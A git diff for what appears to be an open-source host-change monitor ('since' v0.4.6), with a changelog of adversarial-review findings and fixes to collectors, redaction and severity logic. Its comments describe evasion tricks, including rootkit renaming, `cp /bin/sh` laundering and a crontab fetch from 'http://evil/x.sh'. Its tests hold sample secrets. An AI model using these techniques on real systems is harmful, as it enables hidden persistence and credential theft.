diff --git a/CHANGELOG.md b/CHANGELOG.md index ec40874..dfdc8a3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,71 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. +## [0.4.6] — 2026-07-25 + +A **fourth** adversarial round, pointed for the first time at the surfaces the previous five had +never examined — the collectors, the render path, and the ignore rules. It was the most productive +round of the project: 20 findings, and the worst were not in the heavily-audited `redact()` but in +code nobody had attacked. Suite 526 → **656**; **87/87 mutations** caught. + +**A broken helper silently emptied its category.** `lsof`, `osascript`, `scutil`, `kextstat` and +`systemextensionsctl` returned `""` on a timeout or non-zero exit, so the collector reported an +EMPTY category. The diff reads that as "every listener / login item / DNS entry was removed", the +next day as "all of them are new" with the attacker's port among them — and if the tool stays +broken, both snapshots are empty and the report says **"Nothing changed 🎉" while a backdoor +listens**. `SECURITY.md` promises a skip *with a note*; only a raised error delivers that. All of +them now use `need()` + `run_checked`, and `coverage_lost` no longer requires a tool stamp — which +only 4 of 13 categories have, so the nine loudest categories could never reach ORANGE at all. + +**An unsigned binary named `sh` fell out of RED (a regression from v0.4.5).** The interpreter +caveat added in 0.4.5 *cleared* the `suspicious` flag, and the basename is attacker-chosen — so +`cp miner ~/Library/.../sh` dropped an unsigned payload from RED to YELLOW, stopped `--notify` +firing, and replaced its "unsigned" label with a reassuring explanation. The caveat is now +appended, never substituted. Relatedly, an Apple-signed binary **copied outside** the system paths +(the `cp /bin/sh` laundering trick) is now suspicious in its own right. + +**Collectors that could not see the attack at all:** +- **Browser extensions** were fingerprinted by display name, so overwriting `background.js`, + adding ``/`cookies`/`webRequest`, or swapping the `.xpi` were invisible in a + user-writable directory. Now version + manifest hash (size+mtime for Firefox `.xpi`), and + version directories sort numerically — lexically, `1.10.0_0` read as older than `1.9.0_0`, so + the OLD manifest was being reported. +- **Login items** were keyed *and* fingerprinted by display name with no path collected: planting + an app named after an existing item, or retargeting an existing item, was invisible, and without + a path no signature check was possible — they could never reach RED while the equivalent + LaunchAgent did. Now keyed on path, trust-checked, with the name kept for the undo hint. + *One-time effect: existing login items appear once as removed+added as the keys change.* +- **Kernel extensions**: `startswith("com.apple")` is a string test, not provenance, so naming a + rootkit `com.apple.driver.AudioHelper` removed it from the report entirely — and real + third-party prefixes (`co.`, `dev.`, `me.`) were never collected. +- **Listeners**: the anti-churn rule ("no port overlap ⇒ churn") silently dropped a single-port + rebind (`8080 → 4444`) and a backdoor sharing a churny process name. Only an all-ephemeral + multi-port set is churn now. +- **Linux `.socket` and `.path` units** — standard user-level persistence — were never collected. +- **Applications**: the trust check rebuilt the bundle path from the KEY, so `Calculator + (cask).app` printed *another app's* signature and `Evil (snap).app` pointed at nothing; the + collector now stores the real path. + +**Severity and disclosure:** +- Creating a tracked config file was YELLOW while editing one was ORANGE — so planting `~/.zshenv` + (sourced by every zsh) was the *quieter* attack. Now ORANGE, and rendered as "NEW FILE". +- An **ignore rule can no longer silence a critical finding**, and suppressions are disclosed + ("N finding(s) hidden by M ignore rule(s)"). The README's own example rule can be matched by an + attacker-chosen process name, and nothing previously said rules were even active. + +**`redact()` leaks closed:** an unlisted auth scheme absorbed the mask and printed the credential +(`Authorization: SSWS `, a real `.curlrc` line); a quoted value past the old 512-char bound +leaked its tail; a separator run (`:=`, `=>`, `==`, `=""`) left the secret as the next token. + +**Three of my own attempted fixes were reverted after measuring them** — a whitespace-scheme rule +masked `pam_deny.so` and, worse, masked the wrong token while leaving real secrets; a mask-tail +pass broke compositionality by eating shell separators; and a payload-path exemption leaked base64 +tokens, because base64 uses `/` so they match "looks like a path". All three are documented +residuals with the reasoning rather than silent reverts. + +Also: `find`'s partial output is kept on timeout instead of discarded (a false all-clear on a large +HOME), and a corrupt `labels.json` no longer unprotects checkpoints from pruning. + ## [0.4.5] — 2026-07-25 Two further adversarial rounds against v0.4.4, then a **restructure of `redact()`** and its first diff --git a/README.md b/README.md index 6066415..3924bf3 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 463 tests (287 example-based + 176 property): diff/severity/time logic, injection-safety, +python3 -m pytest # 656 tests (480 example-based + 176 property): diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/pyproject.toml b/pyproject.toml index 486b83d..2727bc8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "since-cli" -version = "0.4.5" +version = "0.4.6" description = "A plain-language, severity-ranked daily diff of your Mac or Linux box — startup items, listeners, packages, big new files, and edited system files." readme = "README.md" requires-python = ">=3.9" diff --git a/since.py b/since.py index e4104a2..b0ee1f5 100755 --- a/since.py +++ b/since.py @@ -59,7 +59,7 @@ from datetime import datetime, timedelta from pathlib import Path -__version__ = "0.4.5" +__version__ = "0.4.6" SCHEMA_VERSION = 5 # 4: snap['tools'] (tool identity); 5: snap['blob_flags'] if sys.version_info < (3, 9): # uses PEP 585 generics in annotations + os.replace @@ -290,15 +290,33 @@ def q(s: str) -> str: # (RecursionError on ~800 keys in one line). With a single-token value, `re.sub` simply # continues scanning after each match, so every assignment on a line is decided INDEPENDENTLY # with no recursion, no depth cap, and no tail semantics to get wrong. -_VALUE = r'"[^"\n]{0,512}"|\'[^\'\n]{0,512}\'|[^\s;&|]+' +# {0,4096}, not {0,512}: the input is already capped at _REDACT_MAX, so a wider bound costs +# nothing, and at 512 a longer quoted value fell through to the unquoted branch and printed its +# tail (`password="AAA…520… "`). +_VALUE = (r'"(?:[^"\\\n]|\\.){0,4096}"' r"|'(?:[^'\\\n]|\\.){0,4096}'" r"|[^\s;&|]+") _ASSIGN_RE = re.compile(r"(?i)(?P[\w.\-]{0,64}(?:" + _SECRET_KW + r")[\w.\-]{0,64})" - r"(?P\s*[:=]\s*|\s+)(?P" + _VALUE + r")") + r"(?P\s*[:=][:=>]{0,2}\s*(?:[\"']{2}\s*)?|\s+)" + r"(?P" + _VALUE + r")") # Linear, backtrack-free pre-filter: _ASSIGN_RE can only match where one of these keywords is, # but its bounded `[\w.\-]{0,64}` runs are retried at every offset. Sound by construction — # any _ASSIGN_RE match implies a _KV_KW_RE match on the same line. _KV_KW_RE = re.compile("(?i)" + _SECRET_KW) _SCHEME_RE = re.compile( r"(?i)\b(bearer|basic|token|apikey|api-key|digest|negotiate)\s+([A-Za-z0-9._~+/=-]{6,})") +# …and the general case, because naming schemes can never be complete: under a credential-named +# key, a bare alphabetic WORD is a scheme, so the secret is the token AFTER it. The single-token +# assignment scan masks only the first token, so `header = "Authorization: SSWS "` (Okta; +# also NTLM, HMAC, and any vendor scheme) masked "SSWS" and printed the credential. `.curlrc` and +# `.wgetrc` are tracked files where exactly this line lives. Bounded runs; linear. +_KEYED_SCHEME_RE = re.compile( + r"(?i)(?P(?:" + _SECRET_KW + r")[\w.\-]{0,64}\s*[:=]\s*" + r"(?P[A-Za-z][A-Za-z0-9-]{1,64})[ \t]+)(?P[A-Za-z0-9._~+/=-]{6,})") +# NOT extended to the whitespace-separated spelling (`Authorization HMAC `). Tried and +# reverted: with whitespace, the "scheme" slot is indistinguishable from the VALUE slot, so the +# rule masked `pam_deny.so` in `password sufficient pam_deny.so` and — far worse — masked the +# wrong token while leaving the real secret in place (19 property cases). Header credentials use +# a colon, and the tracked files use `key = value` or `Key value` directives, so the colon form +# above is the one that occurs. Residual: `Authorization HMAC ` is shown. _URLAUTH_RE = re.compile(r"://([^/\s:@]+):([^/\s@]+)@") # user:pass@host # `https://@github.com/...` — the standard way to embed a GitHub/GitLab PAT, and # `.gitconfig` is tracked. No colon, so _URLAUTH_RE never saw it. Length+entropy gated so @@ -422,6 +440,15 @@ def redact(line: str) -> str: # "# basic networking setup" must not become "# basic «redacted» setup". line = _SCHEME_RE.sub( lambda m: f"{m.group(1)} «redacted»" if _char_classes(m.group(2)) >= 2 else m.group(0), line) + def _keyed_scheme(m): + # The word must actually look like a SCHEME and the next token like a SECRET. Without + # both guards this misfired on `PasswordAuthentication=yes API-KEY: `: it read + # "yes" as a scheme, masked the harmless "API-KEY" and left the real credential. + if (m.group("scheme").lower() in _KW_VALUES + or _char_classes(m.group("tok")) < 2): + return m.group(0) + return f"{m.group('head')}«redacted»" + line = _KEYED_SCHEME_RE.sub(_keyed_scheme, line) line = _URLAUTH_RE.sub(r"://\1:«redacted»@", line) line = _URLTOKEN_RE.sub( lambda m: "://«redacted»@" if _char_classes(m.group(1)) >= 2 else m.group(0), line) @@ -486,12 +513,30 @@ def _assignment(m): # test showed `CREDENTIAL /t_wvSrE+2I.23-VqI33q` in cleartext (property test P1). # Legitimate whitespace-separated directive values are keywords or numbers # (`password required pam_unix.so`, `PASS_MAX_DAYS 99999`), never paths. + # A real PATH or URL is the payload, not the secret: masking it meant an attacker + # naming their dropper `*token*`/`*api_key*` made its download URL vanish from the + # crontab diff (`/opt/bin/refresh_token http://evil/x.sh` -> «redacted»). A raw + # credential matches neither pattern, so the P1 leak stays closed. if (bare.lower() in _KW_VALUES or _VAR_REF_RE.match(bare) + or bare.startswith(("http://", "https://", "!")) + # a path ONLY when it is low-entropy: base64 uses '/' and '+', so + # `_auth /J.9V3dlL6/_u_46b273Sa8U/E+=h…` matched "looks like a path" and + # printed the token — the P1 leak, returning through the H2 exemption. + or (_REAL_PATH_RE.match(bare) and _char_classes(bare) <= 2 + and not any(c in bare for c in "+=")) or len(bare) < 6 or _char_classes(bare) < 2): return m.group(0) return masked return m.group(0) # 4 + # KNOWN RESIDUAL: `;`, `&` and `|` end a value token, so a password CONTAINING one is masked + # only up to that character (`password = Tr0ub&dor3-Xyz` -> `«redacted»&dor3-Xyz`). The token + # boundary is what lets `SSH_ASKPASS=/tmp/a.sh;MYSQL_PWD=` be judged as two separate + # assignments, and `A&B` (one value) is structurally identical to `A;cmd` (two statements), so + # a post-pass that swallows the remainder eats real shell separators — measured: it broke + # compositionality on 25 property cases. Masking to whitespace instead reopens the chained + # leak, and per-separator rescanning is the recursion that became a kill switch. Left as-is + # deliberately; the exposure is a PARTIAL secret, and the `«redacted»` marker is present. return _ASSIGN_RE.sub(_assignment, line) if _KV_KW_RE.search(line) else line @@ -520,6 +565,13 @@ def trust_of(path: str): if not authorities and ("adhoc" in low or "linker-signed" in low): return ("ad-hoc signed", True) if any("Apple" in a for a in authorities): + # An Apple-signed Mach-O living outside the system paths is a COPY. `cp /bin/sh + # ~/Library/.../SoftwareUpdateHelper` keeps the signature intact, so a basename check for + # interpreters missed it and the report printed a reassuring "Apple-signed" next to + # attacker-planted persistence. Apple does not ship binaries into user directories. + if not path.startswith(("/System/", "/usr/", "/bin/", "/sbin/", "/Library/Apple/", + "/Applications/Utilities/", "/Applications/")): + return ("Apple-signed binary COPIED outside the system paths", True) return ("Apple-signed", False) if any("Developer ID" in a for a in authorities): acc = run(["spctl", "-a", "-vv", path], merge=True, timeout=10).lower() @@ -616,12 +668,32 @@ def attribution_for(term: str) -> str | None: # --------------------------------------------------------------------------- def _mac_login_items(): + need("osascript") + # name AND path. Keyed by display name alone, three attacks were completely invisible: + # planting an app named after an existing login item, retargeting an existing item at another + # binary, and — because no path was collected — NO signature check was possible, so login + # items could never escalate to RED while the equivalent LaunchAgent did. The `undo:` hint + # also deleted by name, i.e. the wrong entry under a collision. # Join names with a newline (not the default comma) so a name containing a comma # (e.g. "Adobe, Inc. Helper") isn't split into phantom items. - out = run(["osascript", "-e", - 'set text item delimiters to linefeed\n' - 'tell application "System Events" to return (name of every login item) as text']) - return {x.strip(): x.strip() for x in out.split("\n") if x.strip()} + out = run_checked(["osascript", + "-e", "set out to {}", + "-e", 'tell application "System Events"', + "-e", "repeat with li in login items", + "-e", "set end of out to (name of li) & tab & (path of li)", + "-e", "end repeat", + "-e", "end tell", + "-e", "set text item delimiters to linefeed", + "-e", "return out as text"], timeout=20) + res = {} + for line in out.split("\n"): + if not line.strip(): + continue + name, _tab, path = line.partition("\t") + # key on the PATH (stable identity, and the trust-check target); fall back to the name on + # an older macOS that will not report a path. + res[(path.strip() or name.strip())] = name.strip() or path.strip() + return res def _mac_launch_items(): @@ -653,15 +725,26 @@ def _mac_launch_items(): def _mac_kexts(): need("kextstat") - out = run(["kextstat", "-l"], timeout=10) + out = run_checked(["kextstat", "-l"], timeout=10) res = {} for line in out.splitlines(): - m = re.search(r"\b((?:com|org|net|io)\.[\w.-]+)\s*\(([^)]*)\)", line) - if m and not m.group(1).startswith("com.apple"): + # Record ANY reverse-DNS-ish id, Apple's included: `startswith("com.apple")` is a string + # test, not provenance, so naming a rootkit `com.apple.driver.AudioHelper` removed it from + # the report entirely — and real third-party prefixes (`co.`, `dev.`, `me.`) were never + # collected at all. + m = re.search(r"\b([a-z][\w-]*(?:\.[\w-]+){1,})\s*\(([^)]*)\)", line, re.I) + if m: res[m.group(1)] = m.group(2) return res +def _ext_version_key(manifest_path: str): + """Sort extension version dirs NUMERICALLY: lexical order put `1.10.0_0` before `1.9.0_0`, so + the collector read the OLD manifest and reported a stale name.""" + v = os.path.basename(os.path.dirname(manifest_path)) + return [int(x) if x.isdigit() else x for x in re.split(r"[._]", v)] + + def _mac_browser_extensions(): res = {} # Chromium-family: /Extensions///manifest.json @@ -677,18 +760,25 @@ def _mac_browser_extensions(): if ext_id == "Temp": continue name = ext_id - mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json"))) + mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json")), + key=_ext_version_key) if is_regular(m)] # a FIFO manifest would hang the read forever + fp = "" if mans: + raw = safe_read_text(mans[-1]) or "" + # Fingerprint the manifest CONTENT + version, not the display name alone: with the + # name only, overwriting background.js, adding /cookies/webRequest + # permissions, or swapping the .xpi were ALL invisible. Extension directories are + # user-writable and need no admin. + fp = f"{os.path.basename(os.path.dirname(mans[-1]))} [{sha(raw)}]" try: - man = json.loads(safe_read_text(mans[-1]) or "") - n = man.get("name", "") + n = json.loads(raw).get("name", "") if n and not n.startswith("__MSG_"): name = n except Exception: pass browser = base.name - res[f"{browser}:{ext_id}"] = name + res[f"{browser}:{ext_id}"] = f"{name} {fp}".strip() # Firefox for ext in glob.glob(str(HOME / "Library/Application Support/Firefox/Profiles/*/extensions/*")): res[f"Firefox:{os.path.basename(ext)}"] = os.path.basename(ext) @@ -696,7 +786,8 @@ def _mac_browser_extensions(): def _mac_system_extensions(): - out = run(["systemextensionsctl", "list"]) + need("systemextensionsctl") + out = run_checked(["systemextensionsctl", "list"]) res = {} for line in out.splitlines(): m = re.search(r"(\b[a-z0-9]+(?:\.[a-z0-9-]+){2,}\b).*\[([^\]]+)\]", line, re.I) @@ -708,10 +799,11 @@ def _mac_system_extensions(): _PORT_F_RE = re.compile(r":(\d+)$") def _listening(): + need("lsof") # lsof field mode (-F): robust against full command names that contain spaces # AND against the default 9-char COMMAND truncation that merged distinct processes # (e.g. python3.11 vs python3.12 both became "python3.1"). - out = run(["lsof", "-nP", "-iTCP", "-sTCP:LISTEN", "-Fcn"]) + out = run_checked(["lsof", "-nP", "-iTCP", "-sTCP:LISTEN", "-Fcn"]) by_cmd: dict[str, set] = {} cur = None for line in out.splitlines(): @@ -730,18 +822,20 @@ def _listening(): def _outbound(): """Processes with an established outbound TCP connection (churny — quiet tier).""" - out = run(["lsof", "-nP", "-iTCP", "-sTCP:ESTABLISHED", "-Fc"]) + need("lsof") + out = run_checked(["lsof", "-nP", "-iTCP", "-sTCP:ESTABLISHED", "-Fc"]) cmds = {line[1:] for line in out.splitlines() if line.startswith("c")} return {c: "connected" for c in sorted(cmds)} def _mac_net_config(): + need("scutil") res = {} - for line in run(["scutil", "--dns"]).splitlines(): + for line in run_checked(["scutil", "--dns"]).splitlines(): m = re.search(r"nameserver\[\d+\]\s*:\s*(\S+)", line) if m: res[f"DNS {m.group(1)}"] = "nameserver" - proxy = run(["scutil", "--proxy"]) + proxy = run_checked(["scutil", "--proxy"]) for key, label in (("HTTPEnable", "HTTP proxy"), ("HTTPSEnable", "HTTPS proxy"), ("SOCKSEnable", "SOCKS proxy"), ("ProxyAutoConfigEnable", "auto-proxy (PAC)")): m = re.search(rf"{key}\s*:\s*(\d)", proxy) @@ -801,7 +895,12 @@ def _mac_applications(): # disambiguate ~/Applications from /Applications so a same-named # app in both doesn't silently overwrite the other name = entry[:-4] if base == "/Applications" else f"{entry[:-4]}{USER_APPS_TAG}" - res[name] = base + # the REAL path, not just the directory: _enrich rebuilt it as + # f"{value}/{bare_key(key)}.app", so a bundle named `Calculator (cask).app` + # made the trust check stat /Applications/Calculator.app and print ANOTHER + # app's signature, while `Evil (snap).app` pointed at a nonexistent path so an + # unsigned bundle never escalated to RED. /Applications is admin-writable. + res[name] = os.path.join(base, entry) except Exception: pass return res @@ -928,7 +1027,10 @@ def _linux_services(): """Enabled systemd units (system + user) + legacy init scripts — persistence.""" res = {} for scope, tag in (([], ""), (["--user"], "user:")): - out = run(["systemctl"] + scope + ["list-unit-files", "--type=service,timer", + # socket/path activation is standard persistence needing no root; both were absent from + # every snapshot, so a `.path`-triggered payload was permanently invisible. + out = run_checked(["systemctl"] + scope + ["list-unit-files", + "--type=service,timer,socket,path", "--state=enabled", "--no-legend", "--no-pager"], timeout=15) units = [p[0] for line in out.splitlines() if (p := line.split())] # Fold each unit's effective ExecStart into the fingerprint — parity with the @@ -952,7 +1054,7 @@ def _linux_kmods(): """Loaded kernel modules (lsmod) — a NEW module is the signal.""" need("lsmod") res = {} - for line in run(["lsmod"], timeout=10).splitlines()[1:]: + for line in run_checked(["lsmod"], timeout=10).splitlines()[1:]: parts = line.split() if parts: res[parts[0]] = parts[1] if len(parts) > 1 else "" @@ -968,18 +1070,29 @@ def _linux_browser_extensions(): if ext_id == "Temp": # parity with the macOS collector (staging dir) continue name = ext_id - mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json"))) + mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json")), + key=_ext_version_key) if is_regular(m)] # a FIFO manifest would hang the read forever + fp = "" if mans: + raw = safe_read_text(mans[-1]) or "" + fp = f"{os.path.basename(os.path.dirname(mans[-1]))} [{sha(raw)}]" try: - n = json.loads(safe_read_text(mans[-1]) or "").get("name", "") + n = json.loads(raw).get("name", "") if n and not n.startswith("__MSG_"): name = n except Exception: pass - res[f"{base.name}:{ext_id}"] = name + res[f"{base.name}:{ext_id}"] = f"{name} {fp}".strip() for ext in glob.glob(str(HOME / ".mozilla/firefox/*/extensions/*")): - res[f"firefox:{os.path.basename(ext)}"] = os.path.basename(ext) + # size+mtime of the .xpi: keyed AND fingerprinted by the same id, swapping the archive in + # place was invisible. (Hashing every .xpi would read tens of MB per snapshot.) + try: + st = os.stat(ext) + fp = f"{st.st_size}:{int(st.st_mtime)}" + except OSError: + fp = "?" + res[f"firefox:{os.path.basename(ext)}"] = fp return res @@ -1341,6 +1454,11 @@ def load_labels() -> dict: def prune_snapshots(): snaps = list_snapshot_paths() + # A corrupt labels.json makes load_labels() return {} — which used to mean "nothing is + # protected", so the next prune DELETED the labelled checkpoints the user asked to keep. + # If the file exists but yields no labels, decline to prune rather than destroy them. + if LABELS_FILE.exists() and not load_labels(): + return protected = set(load_labels().values()) prunable = [p for p in snaps if p.name not in protected] for p in prunable[:-KEEP_SNAPSHOTS] if len(prunable) > KEEP_SNAPSHOTS else []: @@ -1495,8 +1613,12 @@ def find_big_new_files(since_epoch: int, min_mb: int = 25, top: int = 15): if l.strip() and "ermission" not in l and "not permitted" not in l.lower()] if real and not out: note = "big-file scan hit an error — results may be incomplete" - except subprocess.TimeoutExpired: - out, note = "", "big-file scan timed out (>25s) — results may be incomplete" + except subprocess.TimeoutExpired as e: + # keep what `find` already produced: discarding it turned "most results" into NONE on a + # large HOME, which reads as "no big new files" — a false all-clear. + partial = e.stdout or b"" + out = partial.decode("utf-8", "replace") if isinstance(partial, bytes) else (partial or "") + note = "big-file scan timed out (>25s) — results may be incomplete" except Exception: out, note = "", "big-file scan failed to run" try: @@ -1627,6 +1749,8 @@ def undo_hint(category: str, key: str, value) -> str | None: return f"launchctl bootout gui/$UID {q(real)} 2>/dev/null; sudo rm -- {q(real)}" return f"launchctl bootout gui/$UID {q(real)} 2>/dev/null; rm -- {q(real)}" if category == "login_items": + # the key is the item's PATH now, but System Events deletes by name — which is the value. + key = value if isinstance(value, str) and value else key # The name is passed as an argv PARAMETER so it never enters the AppleScript # source, and q() quotes it for the shell. Neither is sufficient on its own: # `osascript` parses ITS OWN options out of argv, so a login item named @@ -1743,16 +1867,22 @@ def coverage_lost(baseline: dict, current: dict, unusable: dict) -> dict: be, ce = _dict(baseline.get("errors")), _dict(current.get("errors")) lost = {} for cat, why in unusable.items(): - had_it = bool(bt.get(cat)) and cat not in be # baseline could genuinely see it - if not had_it or ct is None: + stamped = cat in CAT_TOOLS + # A category is "lost" if the baseline could see it and we cannot now. For the four + # tool-stamped categories that needs the stamp; for the other nine — listening, login + # items, DNS/proxy, kexts, system extensions, launch items… — the ERROR alone is the + # signal, and requiring a stamp meant a broken `lsof`/`osascript`/`scutil` produced only + # a passive note. Those are the loudest categories in the tool; silence there is worse. + had_it = (cat not in be) and (bool(bt.get(cat)) if stamped else True) + if not had_it or (stamped and ct is None): continue # first run, absent in both, or the pre-stamp transition: benign - gone = cat in ce or not ct.get(cat) + gone = cat in ce or (stamped and not ct.get(cat)) # A tool that merely CHANGED is equally a loss of comparability, and equally abusable: # the daily job's pinned PATH necessarily includes user-writable dirs, so planting # ~/.local/bin/brew swaps the identity WITHOUT erroring — and a passive note bought the # attacker silence for their own package. Rare enough in normal use (a Homebrew # reinstall, a python upgrade) to be worth one look when it happens. - swapped = bool(ct.get(cat)) and ct.get(cat) != bt.get(cat) + swapped = stamped and bool(ct.get(cat)) and ct.get(cat) != bt.get(cat) if gone or swapped: lost[cat] = why return lost @@ -1808,8 +1938,11 @@ def recover_baselines(current: dict, unusable, baseline: dict | None = None) -> def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats=(), skip_priv_blobs=False, coverage: dict | None = None, - skip_blobs=False) -> list[dict]: + skip_blobs=False, stats: dict | None = None) -> list[dict]: rules = load_ignores() + if stats is not None: + stats["rules"] = len(rules) + stats.setdefault("ignored", 0) findings: list[dict] = [] for key, meta in CAT.items(): if key in skip_cats: @@ -1828,7 +1961,15 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats ("removed", {k: base[k] for k in removed}), ("changed", {k: (base[k], cur[k]) for k in changed})): for k, v in items.items(): - if is_ignored(key, k, rules): + # An ignore rule must never silence a CRITICAL finding, and suppressions are + # always disclosed. A user's own broad rule — the README suggests + # `listening:com.docker*` — can be matched by an attacker-chosen process name, + # and nothing in either output said that rules were active or that N findings + # had been hidden. + ignored = is_ignored(key, k, rules) + if ignored and base_level(meta["cls"], action) < RED: + if stats is not None: + stats["ignored"] = stats.get("ignored", 0) + 1 continue # quiet-tier categories (outbound) are informational only — never # let them reach the ranked "worth a look" section or fire a notify. @@ -1844,8 +1985,17 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats new_ports = set(str(v[1]).split(",")) added_ports = sorted(new_ports - old_ports) removed_ports = sorted(old_ports - new_ports) - if not (old_ports & new_ports) or not (added_ports or removed_ports): - continue # full turnover (churn) or no real change + if not (added_ports or removed_ports): + continue # nothing actually changed + # Churn suppression must be NARROW. "no overlap => churn" dropped a + # single-port service rebinding (8080 -> 4444) and a backdoor sharing a + # churny process name (rapportd 49152 -> 49157,4444) — both silently, in the + # highest-signal category. Only a multi-port set that is ENTIRELY ephemeral + # is churn; anything with a well-known port is reported. + ephemeral = all(pt.isdigit() and int(pt) >= 32768 + for pt in (old_ports | new_ports) if pt) + if not (old_ports & new_ports) and ephemeral and len(old_ports) > 1: + continue level = ORANGE if added_ports else YELLOW if added_ports: extra["added_ports"] = added_ports @@ -1854,6 +2004,9 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats f = {"category": key, "label": meta["label"], "cls": meta["cls"], "action": action, "key": k, "value": v, "level": level, "trust": None, "why": None, "undo": None, **extra} + if ignored: + f["why"] = ("an ignore rule matched this, but a critical finding is never " + "silenced") # Enrichment (trust check, attribution, undo hint) parses ATTACKER-WRITTEN # files at diff time. Collectors are all failure-isolated; this path was not, # and `main` catches only KeyboardInterrupt — so one malformed plist killed @@ -1870,8 +2023,7 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats ob, oc = bb.get(key), bc.get(key) if ob == oc: continue - if is_ignored("config", key, rules): - continue + cfg_ignored = is_ignored("config", key, rules) if skip_priv_blobs and _is_priv_blob(key): continue status = "added" if ob is None else "removed" if oc is None else "changed" @@ -1887,7 +2039,10 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats f"content hash {sha(oc or '')})"] else: udiff = list(difflib.unified_diff(ob_l, oc_l, lineterm="", n=0))[2:] - level = ORANGE if status == "changed" else YELLOW + # `added` is ORANGE too: creating a file that did not exist is not milder than editing + # one. `~/.zshenv` is sourced by EVERY zsh invocation, and at YELLOW it never crossed the + # --notify threshold — so the cheaper attack was also the quieter one. + level = ORANGE if status in ("changed", "added") else YELLOW if any(s in key for s in SENSITIVE_TEXT): level = max(level, ORANGE) why = None @@ -1912,6 +2067,13 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats worse = [d for d, n in cur_f.items() if n > base_f.get(d, 0)] if worse: level, why = RED, sorted(worse)[0] + if cfg_ignored and level < RED: + if stats is not None: + stats["ignored"] = stats.get("ignored", 0) + 1 + continue + if cfg_ignored: + why = (why or "") + " [an ignore rule matched this, but a critical finding is never" \ + " silenced]" findings.append({"category": "config", "label": "System files", "cls": "config", "action": status, "key": key, "value": None, "level": level, "trust": None, "why": why, "undo": None, "diff": udiff}) @@ -1931,15 +2093,23 @@ def _enrich(f: dict, current: dict): # signing/trust for new persistence programs & apps # persistence: check "changed" too — overwriting an EXISTING plist is the classic hijack, # and it previously got only a YELLOW content-hash line with no trust check and no notify. + if action == "added" and cat == "login_items" and key.startswith("/"): + label, suspicious = trust_of(key) + f["trust"] = label + if suspicious: + f["level"] = RED if action in ("added", "changed") and cat == "launch_items": prog, argv = plist_program_and_argv(key) if prog: label, suspicious = trust_of(prog) base = os.path.basename(prog) if base in _INTERPRETERS or base.startswith("python"): - label = (f"runs via {base} — an interpreter, so its signature says nothing " - "about what it executes") - suspicious = False + note = (f"runs via {base} — an interpreter, so its signature says nothing " + "about what it executes") + # APPEND, never clear `suspicious`: the basename is attacker-chosen, so + # `cp miner ~/Library/.../sh` used to drop an UNSIGNED binary from RED to YELLOW + # and silence --notify, while the trust line read as a reassuring explanation. + label = note if not suspicious else f"{label} — {note}" f["trust"] = label if suspicious: f["level"] = RED @@ -1955,8 +2125,10 @@ def _enrich(f: dict, current: dict): if action == "added": prog = None if cat == "applications": - # bare_key: the ' (~/Applications)' disambiguator is not part of the path - prog = f"{f['value']}/{bare_key(key)}.app" + # the collector stores the real bundle path in the value; reconstruct only for a + # pre-v0.4.6 snapshot whose value is still just the containing directory. + val = f["value"] if isinstance(f["value"], str) else "" + prog = val if val.endswith(".app") else f"{val}/{bare_key(key)}.app" if prog: label, suspicious = trust_of(prog) f["trust"] = label @@ -2007,7 +2179,7 @@ def _describe(f: dict) -> str: if cat == "coverage": return f"LOST VISIBILITY: {paint(key, 'bold')} is no longer being monitored" if cat == "config": - tag = {"added": "now tracked", "removed": "gone", "changed": "edited"}[action] + tag = {"added": "NEW FILE", "removed": "gone", "changed": "edited"}[action] return f"{key} ({tag})" if action == "changed" and isinstance(val, tuple): return (f"{verb} {f['label'].lower()}: {clean(tilde(f['key']))} " @@ -2333,8 +2505,12 @@ def cmd_diff(args, notify_on=False): f"{'root' if current.get('root') else 'user'}) — " "listening/outbound and sudoers/crontab comparison skipped to avoid false alarms.") + ig_stats: dict = {} findings = build_findings(baseline, current, coverage=lost, include_quiet=args.all, - skip_cats=skip, skip_priv_blobs=skip_priv_blobs) + skip_cats=skip, skip_priv_blobs=skip_priv_blobs, stats=ig_stats) + if ig_stats.get("ignored"): + notes.append(f"{ig_stats['ignored']} finding(s) hidden by {ig_stats.get('rules', 0)} " + f"ignore rule(s) — see {STATE_DIR}/ignore.txt") big, growing, big_note = find_big_new_files(baseline.get("epoch", current["epoch"])) if big_note: notes.append(big_note) diff --git a/tests/test_redact_properties.py b/tests/test_redact_properties.py index b9311ff..b838b4d 100644 --- a/tests/test_redact_properties.py +++ b/tests/test_redact_properties.py @@ -76,6 +76,31 @@ NOISE_SUFFIX = ["", " # comment", " || true", " ; echo done", " 2>/dev/null", " && ls"] +# Shape-based secrets: masked by the passes that run BEFORE the assignment scan. No property +# exercised them, so deleting every one of those passes still passed all 176 cases (verified by +# mutation) — the whole PEM/bearer/URL/token layer was untested at the property level. +SHAPE_SECRETS = [ + ("-----BEGIN OPENSSH PRIVATE KEY-----", "BEGIN OPENSSH PRIVATE KEY"), + ("Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.abcdefgh.ijklmnop", "eyJhbGciOiJIUzI1NiJ9"), + ("Authorization: Basic dXNlcjpwYXNzd29yZDEyMw==", "dXNlcjpwYXNzd29yZDEyMw"), + ("Authorization: Token c2VjcmV0dG9rZW4xMjM0NQ", "c2VjcmV0dG9rZW4xMjM0NQ"), + ("git remote add o https://user:hunter2Mixed@github.com/x", "hunter2Mixed"), + ('[url "https://aB3xYz9Qw2mN7pL1kJ4h@github.com/"]', "aB3xYz9Qw2mN7pL1kJ4h"), + ("export AWS_KEY=AKIAIOSFODNN7EXAMPLE", "AKIAIOSFODNN7EXAMPLE"), + ("gh auth: 